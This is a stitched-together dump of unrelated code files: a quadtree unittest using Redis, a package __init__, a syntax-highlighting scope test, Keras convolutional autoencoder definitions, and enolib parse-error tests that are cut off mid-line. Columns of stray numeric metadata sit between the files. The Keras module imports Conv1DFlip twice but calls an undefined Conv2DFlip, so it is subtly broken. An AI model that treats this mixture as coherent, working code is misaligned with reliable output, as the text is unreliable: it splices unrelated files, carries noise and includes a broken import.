#!/usr/bin/env python # -*- coding:utf-8 -*- import unittest import quadtree.qt import redis rediscon = redis.Redis(host='127.0.0.1',port=6379,db=15) rediscon.flushdb() class TestFunctions(unittest.TestCase): def test_qt(self): tree = quadtree.qt.Tree() r = tree.root self.assertEqual(r.children[0],None) self.assertEqual(r.children[1],None) self.assertEqual(r.children[2],None) self.assertEqual(r.children[3],None) self.assertEqual(r.status,quadtree.qt.NodeStatus.GRAY) self.assertEqual(tree.status_for_path([0]),quadtree.qt.NodeStatus.GRAY) self.assertEqual(tree.status_for_path([0,1,2]),quadtree.qt.NodeStatus.GRAY) def test_qt_0(self): tree = quadtree.qt.Tree() tree.add_terminal([0,1,2,3],True,'terminal0123') r = tree.root self.assertNotEqual(r.children[0],None) self.assertEqual(r.children[1],None) self.assertEqual(r.children[2],None) self.assertEqual(r.children[3],None) self.assertEqual(r.status,quadtree.qt.NodeStatus.GRAY) self.assertEqual(r.children[0].children[0],None) self.assertNotEqual(r.children[0].children[1],None) self.assertEqual(r.children[0].children[2],None) self.assertEqual(r.children[0].children[3],None) self.assertEqual(r.children[0].status,quadtree.qt.NodeStatus.GRAY) self.assertEqual(r.children[0].parent,r) self.assertEqual(r.children[0].children[1].children[0],None) self.assertEqual(r.children[0].children[1].children[1],None) self.assertNotEqual(r.children[0].children[1].children[2],None) self.assertEqual(r.children[0].children[1].children[3],None) self.assertEqual(r.children[0].children[1].status,quadtree.qt.NodeStatus.GRAY) self.assertEqual(r.children[0].children[1].parent,r.children[0]) self.assertEqual(r.children[0].children[1].children[2].children[0],None) self.assertEqual(r.children[0].children[1].children[2].children[1],None) self.assertEqual(r.children[0].children[1].children[2].children[2],None) self.assertNotEqual(r.children[0].children[1].children[2].children[3],None) self.assertEqual(r.children[0].children[1].children[2].status,quadtree.qt.NodeStatus.GRAY) self.assertEqual(r.children[0].children[1].children[2].parent,r.children[0].children[1]) self.assertEqual(r.children[0].children[1].children[2].children[3].status,quadtree.qt.NodeStatus.EXISTING_TERMINAL) self.assertEqual(r.children[0].children[1].children[2].children[3].parent,r.children[0].children[1].children[2]) self.assertEqual(tree.status_for_path([0,1,2,3]),quadtree.qt.NodeStatus.EXISTING_TERMINAL) self.assertEqual(tree.status_for_path([0,1,2,3,2,1]),quadtree.qt.NodeStatus.EXISTING_TERMINAL) self.assertEqual(tree.status_for_path([0,1,2,2]),quadtree.qt.NodeStatus.GRAY) self.assertEqual(tree.status_for_path([0,1,2]),quadtree.qt.NodeStatus.GRAY) def test_qt_1(self): tree = quadtree.qt.Tree() tree.add_terminal([0,1,2,3],True,'terminal0123') tree.add_terminal([0,1,2,2],True,'terminal0122') r = tree.root self.assertNotEqual(r.children[0],None) self.assertEqual(r.children[1],None) self.assertEqual(r.children[2],None) self.assertEqual(r.children[3],None) self.assertEqual(r.status,quadtree.qt.NodeStatus.GRAY) self.assertEqual(r.children[0].children[0],None) self.assertNotEqual(r.children[0].children[1],None) self.assertEqual(r.children[0].children[2],None) self.assertEqual(r.children[0].children[3],None) self.assertEqual(r.children[0].status,quadtree.qt.NodeStatus.GRAY) self.assertEqual(r.children[0].parent,r) self.assertEqual(r.children[0].children[1].children[0],None) self.assertEqual(r.children[0].children[1].children[1],None) self.assertNotEqual(r.children[0].children[1].children[2],None) self.assertEqual(r.children[0].children[1].children[3],None) self.assertEqual(r.children[0].children[1].status,quadtree.qt.NodeStatus.GRAY) self.assertEqual(r.children[0].children[1].parent,r.children[0]) self.assertEqual(r.children[0].children[1].children[2].children[0],None) self.assertEqual(r.children[0].children[1].children[2].children[1],None) self.assertNotEqual(r.children[0].children[1].children[2].children[2],None) self.assertNotEqual(r.children[0].children[1].children[2].children[3],None) self.assertEqual(r.children[0].children[1].children[2].status,quadtree.qt.NodeStatus.GRAY) self.assertEqual(r.children[0].children[1].children[2].parent,r.children[0].children[1]) self.assertEqual(r.children[0].children[1].children[2].children[2].status,quadtree.qt.NodeStatus.EXISTING_TERMINAL) self.assertEqual(r.children[0].children[1].children[2].children[2].parent,r.children[0].children[1].children[2]) self.assertEqual(r.children[0].children[1].children[2].children[3].status,quadtree.qt.NodeStatus.EXISTING_TERMINAL) self.assertEqual(r.children[0].children[1].children[2].children[3].parent,r.children[0].children[1].children[2]) def test_qt_2(self): tree = quadtree.qt.Tree() tree.add_terminal([0,1,2,3],True,'terminal0123') tree.add_terminal([0,1,2,2],True,'terminal0122') tree.add_terminal([0,1,2,0],True,'terminal0120') tree.add_terminal([0,1,2,1],True,'terminal0121') r = tree.root self.assertNotEqual(r.children[0],None) self.assertEqual(r.children[1],None) self.assertEqual(r.children[2],None) self.assertEqual(r.children[3],None) self.assertEqual(r.status,quadtree.qt.NodeStatus.GRAY) self.assertEqual(r.children[0].children[0],None) self.assertNotEqual(r.children[0].children[1],None) self.assertEqual(r.children[0].children[2],None) self.assertEqual(r.children[0].children[3],None) self.assertEqual(r.children[0].status,quadtree.qt.NodeStatus.GRAY) self.assertEqual(r.children[0].parent,r) self.assertEqual(r.children[0].children[1].children[0],None) self.assertEqual(r.children[0].children[1].children[1],None) self.assertNotEqual(r.children[0].children[1].children[2],None) self.assertEqual(r.children[0].children[1].children[3],None) self.assertEqual(r.children[0].children[1].status,quadtree.qt.NodeStatus.GRAY) self.assertEqual(r.children[0].children[1].parent,r.children[0]) self.assertEqual(r.children[0].children[1].children[2].status,quadtree.qt.NodeStatus.EXISTING_TERMINAL) def test_qt_3(self): tree = quadtree.qt.Tree() tree.add_terminal([0,1,2,3],False,'terminal0123') tree.add_terminal([0,1,2,2],False,'terminal0122') tree.add_terminal([0,1,2,0],False,'terminal0120') tree.add_terminal([0,1,2,1],False,'terminal0121') r = tree.root self.assertNotEqual(r.children[0],None) self.assertEqual(r.children[1],None) self.assertEqual(r.children[2],None) self.assertEqual(r.children[3],None) self.assertEqual(r.status,quadtree.qt.NodeStatus.GRAY) self.assertEqual(r.children[0].children[0],None) self.assertNotEqual(r.children[0].children[1],None) self.assertEqual(r.children[0].children[2],None) self.assertEqual(r.children[0].children[3],None) self.assertEqual(r.children[0].status,quadtree.qt.NodeStatus.GRAY) self.assertEqual(r.children[0].parent,r) self.assertEqual(r.children[0].children[1].children[0],None) self.assertEqual(r.children[0].children[1].children[1],None) self.assertNotEqual(r.children[0].children[1].children[2],None) self.assertEqual(r.children[0].children[1].children[3],None) self.assertEqual(r.children[0].children[1].status,quadtree.qt.NodeStatus.GRAY) self.assertEqual(r.children[0].children[1].parent,r.children[0]) self.assertEqual(r.children[0].children[1].children[2].status,quadtree.qt.NodeStatus.EMPTY_TERMINAL) def test_qt_4(self): tree = quadtree.qt.Tree() tree.add_terminal([0,1,2,3],False,'terminal0123') tree.add_terminal([0,1,2,2],True,'terminal0122') tree.add_terminal([0,1,2,0],True,'terminal0120') tree.add_terminal([0,1,2,1],False,'terminal0121') r = tree.root self.assertNotEqual(r.children[0],None) self.assertEqual(r.children[1],None) self.assertEqual(r.children[2],None) self.assertEqual(r.children[3],None) self.assertEqual(r.status,quadtree.qt.NodeStatus.GRAY) self.assertEqual(r.children[0].children[0],None) self.assertNotEqual(r.children[0].children[1],None) self.assertEqual(r.children[0].children[2],None) self.assertEqual(r.children[0].children[3],None) self.assertEqual(r.children[0].status,quadtree.qt.NodeStatus.GRAY) self.assertEqual(r.children[0].parent,r) self.assertEqual(r.children[0].children[1].children[0],None) self.assertEqual(r.children[0].children[1].children[1],None) self.assertNotEqual(r.children[0].children[1].children[2],None) self.assertEqual(r.children[0].children[1].children[3],None) self.assertEqual(r.children[0].children[1].status,quadtree.qt.NodeStatus.GRAY) self.assertEqual(r.children[0].children[1].parent,r.children[0]) self.assertEqual(r.children[0].children[1].children[2].status,quadtree.qt.NodeStatus.SURELY_MIXED) def test_qt_5(self): tree = quadtree.qt.Tree() tree.add_terminal([0,1],True,'terminal01') tree.add_terminal([0,2],True,'terminal02') tree.add_terminal([0,0],True,'terminal00') tree.mark_unknown_leaves(False) r = tree.root self.assertNotEqual(r.children[0],None) self.assertNotEqual(r.children[1],None) self.assertNotEqual(r.children[2],None) self.assertNotEqual(r.children[3],None) self.assertEqual(r.status,quadtree.qt.NodeStatus.SURELY_MIXED) self.assertEqual(r.children[0].status,quadtree.qt.NodeStatus.SURELY_MIXED) self.assertEqual(r.children[1].status,quadtree.qt.NodeStatus.EMPTY_TERMINAL) self.assertEqual(r.children[2].status,quadtree.qt.NodeStatus.EMPTY_TERMINAL) self.assertEqual(r.children[3].status,quadtree.qt.NodeStatus.EMPTY_TERMINAL) self.assertEqual(r.children[0].children[0].status,quadtree.qt.NodeStatus.EXISTING_TERMINAL) self.assertEqual(r.children[0].children[1].status,quadtree.qt.NodeStatus.EXISTING_TERMINAL) self.assertEqual(r.children[0].children[2].status,quadtree.qt.NodeStatus.EXISTING_TERMINAL) self.assertEqual(r.children[0].children[3].status,quadtree.qt.NodeStatus.EMPTY_TERMINAL) tree.dump_to_redis('PREFIX',rediscon) tree.load_from_redis('PREFIX',rediscon) # After loading from redis, does it still work well? r = tree.root self.assertNotEqual(r.children[0],None) self.assertNotEqual(r.children[1],None) self.assertNotEqual(r.children[2],None) self.assertNotEqual(r.children[3],None) self.assertEqual(r.status,quadtree.qt.NodeStatus.SURELY_MIXED) self.assertEqual(r.children[0].status,quadtree.qt.NodeStatus.SURELY_MIXED) self.assertEqual(r.children[1].status,quadtree.qt.NodeStatus.EMPTY_TERMINAL) self.assertEqual(r.children[2].status,quadtree.qt.NodeStatus.EMPTY_TERMINAL) self.assertEqual(r.children[3].status,quadtree.qt.NodeStatus.EMPTY_TERMINAL) self.assertEqual(r.children[0].children[0].status,quadtree.qt.NodeStatus.EXISTING_TERMINAL) self.assertEqual(r.children[0].children[1].status,quadtree.qt.NodeStatus.EXISTING_TERMINAL) self.assertEqual(r.children[0].children[2].status,quadtree.qt.NodeStatus.EXISTING_TERMINAL) self.assertEqual(r.children[0].children[3].status,quadtree.qt.NodeStatus.EMPTY_TERMINAL) def dump(path,status,value): print path,status,value tree.for_each_leaves(dump) if __name__ == '__main__': unittest.main()
52.472803
123
0.675464
1,719
12,541
4.878418
0.04712
0.149177
0.211782
0.294777
0.938946
0.934415
0.933103
0.932387
0.925233
0.925233
0
0.0432
0.163863
12,541
238
124
52.693277
0.756533
0.007336
0
0.80203
0
0
0.019203
0
0
0
0
0
0.725888
0
null
null
0
0.015228
null
null
0.005076
0
0
0
null
0
1
1
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
1
1
0
0
0
0
0
0
0
0
11
e7eb30a4aa2bd6750332bde7e7f5c7a05b007cf2
46
py
Python
utils/__init__.py
david8862/yolact
dbfb1006c9b658fc01b6afc79b06d095ff64e7d7
[ "MIT" ]
null
null
null
utils/__init__.py
david8862/yolact
dbfb1006c9b658fc01b6afc79b06d095ff64e7d7
[ "MIT" ]
null
null
null
utils/__init__.py
david8862/yolact
dbfb1006c9b658fc01b6afc79b06d095ff64e7d7
[ "MIT" ]
null
null
null
from .augmentations import YOLACTAugmentation
23
45
0.891304
4
46
10.25
1
0
0
0
0
0
0
0
0
0
0
0
0.086957
46
1
46
46
0.97619
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
1
1
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
f070cdd0ef571585435ea756070656f181d6b95d
4,825
py
Python
test/fstrings/comment4.py
kylebarron/MagicPython
da6fa0793e2c85d3bf7709ff1d4f65ccf468db11
[ "MIT" ]
1
2020-08-07T16:09:57.000Z
2020-08-07T16:09:57.000Z
test/fstrings/comment4.py
kylebarron/MagicPython
da6fa0793e2c85d3bf7709ff1d4f65ccf468db11
[ "MIT" ]
4
2019-06-16T09:52:03.000Z
2019-08-18T02:11:35.000Z
test/fstrings/comment4.py
kylebarron/MagicPython
da6fa0793e2c85d3bf7709ff1d4f65ccf468db11
[ "MIT" ]
null
null
null
self.assertEqual(f'{10:#{3 != {4:5} and width}x}', ' 0xa') self : source.python, variable.language.special.self.python . : punctuation.separator.period.python, source.python assertEqual : meta.function-call.generic.python, meta.function-call.python, source.python ( : meta.function-call.python, punctuation.definition.arguments.begin.python, source.python f : meta.fstring.python, meta.function-call.arguments.python, meta.function-call.python, source.python, storage.type.string.python, string.interpolated.python, string.quoted.single.python ' : meta.fstring.python, meta.function-call.arguments.python, meta.function-call.python, punctuation.definition.string.begin.python, source.python, string.interpolated.python, string.quoted.single.python { : constant.character.format.placeholder.other.python, meta.fstring.python, meta.function-call.arguments.python, meta.function-call.python, source.python 10 : constant.numeric.dec.python, meta.fstring.python, meta.function-call.arguments.python, meta.function-call.python, source.python : : meta.fstring.python, meta.function-call.arguments.python, meta.function-call.python, source.python, storage.type.format.python # : meta.fstring.python, meta.function-call.arguments.python, meta.function-call.python, source.python, storage.type.format.python { : constant.character.format.placeholder.other.python, meta.fstring.python, meta.function-call.arguments.python, meta.function-call.python, source.python 3 : constant.numeric.dec.python, meta.fstring.python, meta.function-call.arguments.python, meta.function-call.python, source.python : meta.fstring.python, meta.function-call.arguments.python, meta.function-call.python, source.python != : keyword.operator.comparison.python, meta.fstring.python, meta.function-call.arguments.python, meta.function-call.python, source.python : meta.fstring.python, meta.function-call.arguments.python, meta.function-call.python, source.python { : meta.fstring.python, meta.function-call.arguments.python, meta.function-call.python, punctuation.definition.dict.begin.python, source.python 4 : constant.numeric.dec.python, meta.fstring.python, meta.function-call.arguments.python, meta.function-call.python, source.python : : meta.fstring.python, meta.function-call.arguments.python, meta.function-call.python, punctuation.separator.dict.python, source.python 5 : constant.numeric.dec.python, meta.fstring.python, meta.function-call.arguments.python, meta.function-call.python, source.python } : meta.fstring.python, meta.function-call.arguments.python, meta.function-call.python, punctuation.definition.dict.end.python, source.python : meta.fstring.python, meta.function-call.arguments.python, meta.function-call.python, source.python and : keyword.operator.logical.python, meta.fstring.python, meta.function-call.arguments.python, meta.function-call.python, source.python : meta.fstring.python, meta.function-call.arguments.python, meta.function-call.python, source.python width : meta.fstring.python, meta.function-call.arguments.python, meta.function-call.python, source.python } : constant.character.format.placeholder.other.python, meta.fstring.python, meta.function-call.arguments.python, meta.function-call.python, source.python x : meta.fstring.python, meta.function-call.arguments.python, meta.function-call.python, source.python, storage.type.format.python } : constant.character.format.placeholder.other.python, meta.fstring.python, meta.function-call.arguments.python, meta.function-call.python, source.python ' : meta.fstring.python, meta.function-call.arguments.python, meta.function-call.python, punctuation.definition.string.end.python, source.python, string.interpolated.python, string.quoted.single.python , : meta.function-call.arguments.python, meta.function-call.python, punctuation.separator.arguments.python, source.python : meta.function-call.arguments.python, meta.function-call.python, source.python ' : meta.function-call.arguments.python, meta.function-call.python, punctuation.definition.string.begin.python, source.python, string.quoted.single.python 0xa : meta.function-call.arguments.python, meta.function-call.python, source.python, string.quoted.single.python ' : meta.function-call.arguments.python, meta.function-call.python, punctuation.definition.string.end.python, source.python, string.quoted.single.python ) : meta.function-call.python, punctuation.definition.arguments.end.python, source.python
120.625
215
0.743005
594
4,825
6.035354
0.077441
0.225941
0.276709
0.368201
0.907392
0.907392
0.907392
0.902371
0.882287
0.868898
0
0.002861
0.13057
4,825
39
216
123.717949
0.851728
0.026529
0
0.235294
0
0.676471
0.008328
0
0
0
0.001281
0
0.058824
0
null
null
0
0
null
null
0
0
0
0
null
1
1
1
1
1
1
1
1
1
0
0
0
0
0
0
1
0
0
0
0
0
1
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
12
b2e621d626935f5a5018714060dd4aa9000865d5
12,474
py
Python
keras/src/models/single_layer_autoencoders.py
btolooshams/crsae
fabc474202b8489ff3818c6258bcd81fb3e39b19
[ "MIT" ]
8
2020-09-27T09:04:07.000Z
2021-10-06T15:23:06.000Z
keras/src/models/single_layer_autoencoders.py
btolooshams/crsae
fabc474202b8489ff3818c6258bcd81fb3e39b19
[ "MIT" ]
5
2020-07-27T14:31:05.000Z
2022-02-10T02:17:50.000Z
keras/src/models/single_layer_autoencoders.py
btolooshams/crsae
fabc474202b8489ff3818c6258bcd81fb3e39b19
[ "MIT" ]
1
2021-02-22T10:56:26.000Z
2021-02-22T10:56:26.000Z
""" Copyright (c) 2020 Bahareh Tolooshams Single layer convolutional autoencoders. :author: Bahareh Tolooshams """ from keras.models import Model from keras.layers import Conv1D, Conv2D, Input, add, Dense, Flatten, Reshape from keras.layers import ZeroPadding1D, ZeroPadding2D, Lambda from keras.initializers import Identity from keras import regularizers, initializers from src.layers.conv_tied_layers import Conv1DFlip, Conv1DFlip from src.layers.trainable_threshold_relu_layers import ( TrainableThresholdRelu, TrainableThresholdRelu_learned, ) from keras.constraints import non_neg def decoder_1d(Ne, dictionary_dim, num_conv): """ Create decoder for conv 1d :param Ne: dimesion of code :param dictionary_dim: dimension of dictionary :param num_conv: number of conv filters :return: decoder """ # input input_signal = Input(shape=(Ne, num_conv), name="input") # Input placeholder # Zero-pad input_signal_padded = ZeroPadding1D(padding=(dictionary_dim - 1), name="zeropad")( input_signal ) # build convolution decoded = Conv1D( filters=1, kernel_size=dictionary_dim, padding="valid", use_bias=False, activation=None, trainable=False, input_shape=(Ne, num_conv), name="decoder", )(input_signal_padded) # output Y = HZ decoder = Model(input_signal, decoded) return decoder def create_unconstrained_linear_autoencoder_1d(input_dim, dictionary_dim, num_conv, L): """ Create a single hidden layer, purely 1d linear auto-encoder. :param input_dim: :param dictionary_dim: :param num_conv: :param L: :return: (autoencoder, encoder) """ # Input input_signal = Input(shape=(input_dim, 1), name="input") # Input placeholder # Build encoder encoder_layer = Conv1D( filters=num_conv, kernel_size=dictionary_dim, padding="valid", use_bias=False, activation=None, trainable=True, input_shape=(input_dim, 1), name="encoder", ) encoded = encoder_layer(input_signal) # Zero-pad encoded_pad = ZeroPadding1D(padding=(dictionary_dim - 1), name="zeropad")(encoded) # Build decoder decoder_layer = Conv1D( filters=1, kernel_size=dictionary_dim, padding="valid", use_bias=False, activation=None, trainable=True, name="decoder", ) decoded = decoder_layer(encoded_pad) # No activation applied # Divided by L L_layer = Lambda(lambda x: x / L, name="L") decoded = L_layer(decoded) # encoder only model encoder = Model(input_signal, encoded) # create autoencoder model autoencoder = Model(input_signal, decoded) return autoencoder, encoder def create_unconstrained_linear_autoencoder_2d(input_dim, dictionary_dim, num_conv, L): """ Create a single hidden layer, purely 1d linear auto-encoder. :param input_dim: :param dictionary_dim: :param num_conv: :param L: :return: (autoencoder, encoder) """ # Input input_signal = Input( shape=(input_dim[0], input_dim[1], 1), name="input" ) # Input placeholder # Build encoder encoder_layer = Conv2D( filters=num_conv, kernel_size=dictionary_dim, padding="valid", use_bias=False, activation=None, trainable=True, input_shape=(input_dim[0], input_dim[1], 1), name="encoder", ) encoded = encoder_layer(input_signal) # Zero-pad encoded_pad = ZeroPadding2D( padding=( (dictionary_dim[0] - 1, dictionary_dim[0] - 1), (dictionary_dim[1] - 1, dictionary_dim[1] - 1), ), name="zeropad", )(encoded) # Build decoder decoder_layer = Conv2D( filters=1, kernel_size=dictionary_dim, padding="valid", use_bias=False, activation=None, trainable=True, name="decoder", ) decoded = decoder_layer(encoded_pad) # No activation applied # Mupltiply by 1/L L_layer = Lambda(lambda x: x / L, name="L") decoded = L_layer(decoded) # encoder only model encoder = Model(input_signal, encoded) # create autoencoder model autoencoder = Model(input_signal, decoded) return autoencoder, encoder def create_unconstrained_nonlinear_autoencoder_1d( input_dim, dictionary_dim, num_conv, L, l1_regularize=False ): """ Create a single hidden layer autoencoder with relu after encoder. :param input_dim: :param dictionary_dim: :param num_conv: :param L: :param l1_regularize: set to True if want to regularize the output of the encoder :return: (autoencoder, encoder) """ # Input input_signal = Input(shape=(input_dim, 1), name="input") # Input placeholder # Build encoder if l1_regularize: encoder_layer = Conv1D( filters=num_conv, kernel_size=dictionary_dim, padding="valid", use_bias=False, activation=None, trainable=True, activity_regularizer=regularizers.l1(0.00001), input_shape=(input_dim, 1), name="encoder", ) else: encoder_layer = Conv1D( filters=num_conv, kernel_size=dictionary_dim, padding="valid", use_bias=False, activation="relu", trainable=True, input_shape=(input_dim, 1), name="encoder", ) encoded = encoder_layer(input_signal) # Zero-pad encoded_pad = ZeroPadding1D(padding=(dictionary_dim - 1), name="zeropad")(encoded) # Build decoder decoder_layer = Conv1D( filters=1, kernel_size=dictionary_dim, padding="valid", use_bias=False, activation=None, trainable=True, name="decoder", ) decoded = decoder_layer(encoded_pad) # No activation applied # Divided by L L_layer = Lambda(lambda x: x / L, name="L") decoded = L_layer(decoded) # encoder only model encoder = Model(input_signal, encoded) # create autoencoder model autoencoder = Model(input_signal, decoded) return autoencoder, encoder def create_unconstrained_nonlinear_autoencoder_2d( input_dim, dictionary_dim, num_conv, L, l1_regularize=False ): """ Create a single hidden layer autoencoder with relu after encoder. :param input_dim: :param dictionary_dim: :param num_conv: :param L: :param l1_regularize: set to True if want to regularize the output of the encoder :return: """ # Input input_signal = Input( shape=(input_dim[0], input_dim[1], 1), name="input" ) # Input placeholder # Build encoder if l1_regularize: encoder_layer = Conv2D( filters=num_conv, kernel_size=dictionary_dim, padding="valid", use_bias=False, activation=None, trainable=True, activity_regularizer=regularizers.l1(0.00001), input_shape=(input_dim[0], input_dim[1], 1), name="encoder", ) else: encoder_layer = Conv2D( filters=num_conv, kernel_size=dictionary_dim, padding="valid", use_bias=False, activation="relu", trainable=True, input_shape=(input_dim, 1), name="encoder", ) encoded = encoder_layer(input_signal) # Zero-pad encoded_pad = ZeroPadding2D( padding=( (dictionary_dim[0] - 1, dictionary_dim[0] - 1), (dictionary_dim[1] - 1, dictionary_dim[1] - 1), ), name="zeropad", )(encoded) # Build decoder decoder_layer = Conv2D( filters=1, kernel_size=dictionary_dim, padding="valid", use_bias=False, activation=None, trainable=True, name="decoder", ) decoded = decoder_layer(encoded_pad) # No activation applied # Divided by L L_layer = Lambda(lambda x: x / L, name="L") decoded = L_layer(decoded) # encoder only model encoder = Model(input_signal, encoded) # create autoencoder model autoencoder = Model(input_signal, decoded) return autoencoder, encoder def create_constrained_linear_autoencoder_1d(input_dim, dictionary_dim, num_conv, L): """ Create single layer, purely linear autoencoder :param input_dim: :param dictionary_dim: :param num_conv: :param L: :return: (autoencoder, encoder) """ # Input input_signal = Input(shape=(input_dim, 1), name="input") # Input placeholder # Build encoder encoder_layer = Conv1D( filters=num_conv, kernel_size=dictionary_dim, padding="valid", use_bias=False, activation=None, trainable=True, input_shape=(input_dim, 1), name="encoder", ) encoded = encoder_layer(input_signal) # Zero-pad encoded_pad = ZeroPadding1D(padding=(dictionary_dim - 1), name="zeropad")(encoded) # Build decoder decoder_layer = Conv1DFlip(encoder_layer, name="decoder") decoded = decoder_layer(encoded_pad) # No activation applied # Divided by L L_layer = Lambda(lambda x: x / L, name="L") decoded = L_layer(decoded) # encoder only model encoder = Model(input_signal, encoded) # create autoencoder model autoencoder = Model(input_signal, decoded) return autoencoder, encoder def create_constrained_linear_autoencoder_2d(input_dim, dictionary_dim, num_conv): """ Create single layer, purely linear autoencoder :param input_dim: :param dictionary_dim: :param num_conv: :return: (autoencoder, encoder) """ # Input input_signal = Input( shape=(input_dim[0], input_dim[1], 1), name="input" ) # Input placeholder # Build encoder encoder_layer = Conv2D( filters=num_conv, kernel_size=dictionary_dim, padding="valid", use_bias=False, activation=None, trainable=True, input_shape=(input_dim[0], input_dim[1], 1), name="encoder", ) encoded = encoder_layer(input_signal) # Zero-pad encoded_pad = ZeroPadding2D( padding=( (dictionary_dim[0] - 1, dictionary_dim[0] - 1), (dictionary_dim[1] - 1, dictionary_dim[1] - 1), ), name="zeropad", )(encoded) # Build decoder decoder_layer = Conv2DFlip(encoder_layer, name="decoder") decoded = decoder_layer(encoded_pad) # No activation applied # Divided by L L_layer = Lambda(lambda x: x / L, name="L") decoded = L_layer(decoded) # encoder only model encoder = Model(input_signal, encoded) # create autoencoder model autoencoder = Model(input_signal, decoded) return autoencoder, encoder def create_constrained_nonlinear_autoencoder_1d( input_dim, dictionary_dim, num_conv, L, lambda_trainable, twosided ): """ Create single layer, non-linear autoencoder :param input_dim: :param dictionary_dim: :param num_conv: :return: (autoencoder, encoder) """ # Input input_signal = Input(shape=(input_dim, 1), name="input") # Input placeholder # Build encoder encoder_layer = Conv1D( filters=num_conv, kernel_size=dictionary_dim, padding="valid", use_bias=False, activation=None, trainable=True, input_shape=(input_dim, 1), name="encoder", ) encoded = encoder_layer(input_signal) # Build L_layer L_layer = Lambda(lambda x: x / L, name="L") # Apply trainable ReLu layer ttrelu = TrainableThresholdRelu( (input_dim - dictionary_dim + 1, num_conv), num_conv, L, lambda_trainable, twosided, name="ttrelu", )(encoded) # Zero-pad encoded_pad = ZeroPadding1D(padding=(dictionary_dim - 1), name="zeropad")(ttrelu) # Build decoder decoder_layer = Conv1DFlip(encoder_layer, name="decoder") decoded = decoder_layer(encoded_pad) # Divided by L decoded = L_layer(decoded) # encoder only model encoder = Model(input_signal, ttrelu) # create autoencoder model autoencoder = Model(input_signal, decoded) return autoencoder, encoder
26.710921
87
0.633638
1,421
12,474
5.35468
0.085151
0.082008
0.031542
0.03785
0.878828
0.866605
0.852412
0.84492
0.84492
0.834801
0
0.014276
0.270002
12,474
466
88
26.76824
0.821327
0.204345
0
0.793358
0
0
0.031965
0
0
0
0
0
0
1
0.02952
false
0
0.02952
0
0.088561
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
6539418a7fc5eed215e6906a1808a74e0378b5bf
6,915
py
Python
python/tests/generated/errors/parsing/test_missing_list_for_list_item.py
eno-lang/enolib
4175f7c1e8246493b6758c29bddc80d20eaf15f7
[ "MIT" ]
17
2019-04-15T21:03:37.000Z
2022-01-24T11:03:34.000Z
python/tests/generated/errors/parsing/test_missing_list_for_list_item.py
eno-lang/enolib
4175f7c1e8246493b6758c29bddc80d20eaf15f7
[ "MIT" ]
20
2019-03-13T23:23:40.000Z
2022-03-29T13:40:57.000Z
python/tests/generated/errors/parsing/test_missing_list_for_list_item.py
eno-lang/enolib
4175f7c1e8246493b6758c29bddc80d20eaf15f7
[ "MIT" ]
4
2019-04-15T21:18:03.000Z
2019-09-21T16:18:10.000Z
import enolib def test_parsing_a_list_item_without_any_previous_element_raises_the_expected_parseerror(): error = None input = ("- item") try: enolib.parse(input) except enolib.ParseError as _error: if isinstance(_error, enolib.ParseError): error = _error else: raise _error assert type(error) is enolib.ParseError text = ("Line 1 contains a list item without a list being specified before.") assert error.text == text snippet = (" Line | Content\n" " > 1 | - item") assert error.snippet == snippet assert error.selection['from']['line'] == 0 assert error.selection['from']['column'] == 0 assert error.selection['to']['line'] == 0 assert error.selection['to']['column'] == 6 def test_parsing_a_list_item_preceded_by_a_line_continuation_raises_the_expected_parseerror(): error = None input = ("field:\n" "| continuation\n" "- item") try: enolib.parse(input) except enolib.ParseError as _error: if isinstance(_error, enolib.ParseError): error = _error else: raise _error assert type(error) is enolib.ParseError text = ("Line 3 contains a list item without a list being specified before.") assert error.text == text snippet = (" Line | Content\n" " 1 | field:\n" " 2 | | continuation\n" " > 3 | - item") assert error.snippet == snippet assert error.selection['from']['line'] == 2 assert error.selection['from']['column'] == 0 assert error.selection['to']['line'] == 2 assert error.selection['to']['column'] == 6 def test_parsing_a_list_item_preceded_by_a_fieldset_entry_raises_the_expected_parseerror(): error = None input = ("fieldset:\n" "entry = value\n" "- item") try: enolib.parse(input) except enolib.ParseError as _error: if isinstance(_error, enolib.ParseError): error = _error else: raise _error assert type(error) is enolib.ParseError text = ("Line 3 contains a list item without a list being specified before.") assert error.text == text snippet = (" Line | Content\n" " 1 | fieldset:\n" " 2 | entry = value\n" " > 3 | - item") assert error.snippet == snippet assert error.selection['from']['line'] == 2 assert error.selection['from']['column'] == 0 assert error.selection['to']['line'] == 2 assert error.selection['to']['column'] == 6 def test_parsing_a_list_item_preceded_by_a_copied_field_raises_the_expected_parseerror(): error = None input = ("field: value\n" "\n" "copy < field\n" "- item") try: enolib.parse(input) except enolib.ParseError as _error: if isinstance(_error, enolib.ParseError): error = _error else: raise _error assert type(error) is enolib.ParseError text = ("Line 4 contains a list item without a list being specified before.") assert error.text == text snippet = (" Line | Content\n" " ...\n" " 2 | \n" " 3 | copy < field\n" " > 4 | - item") assert error.snippet == snippet assert error.selection['from']['line'] == 3 assert error.selection['from']['column'] == 0 assert error.selection['to']['line'] == 3 assert error.selection['to']['column'] == 6 def test_parsing_a_list_item_preceded_by_a_copied_fieldset_raises_the_expected_parseerror(): error = None input = ("fieldset:\n" "entry = value\n" "\n" "copy < fieldset\n" "- item") try: enolib.parse(input) except enolib.ParseError as _error: if isinstance(_error, enolib.ParseError): error = _error else: raise _error assert type(error) is enolib.ParseError text = ("Line 5 contains a list item without a list being specified before.") assert error.text == text snippet = (" Line | Content\n" " ...\n" " 3 | \n" " 4 | copy < fieldset\n" " > 5 | - item") assert error.snippet == snippet assert error.selection['from']['line'] == 4 assert error.selection['from']['column'] == 0 assert error.selection['to']['line'] == 4 assert error.selection['to']['column'] == 6 def test_parsing_a_list_item_preceded_by_a_multiline_field_raises_the_expected_parseerror(): error = None input = ("-- multiline_field\n" "value\n" "-- multiline_field\n" "\n" "copy < multiline_field\n" "- item") try: enolib.parse(input) except enolib.ParseError as _error: if isinstance(_error, enolib.ParseError): error = _error else: raise _error assert type(error) is enolib.ParseError text = ("Line 6 contains a list item without a list being specified before.") assert error.text == text snippet = (" Line | Content\n" " ...\n" " 4 | \n" " 5 | copy < multiline_field\n" " > 6 | - item") assert error.snippet == snippet assert error.selection['from']['line'] == 5 assert error.selection['from']['column'] 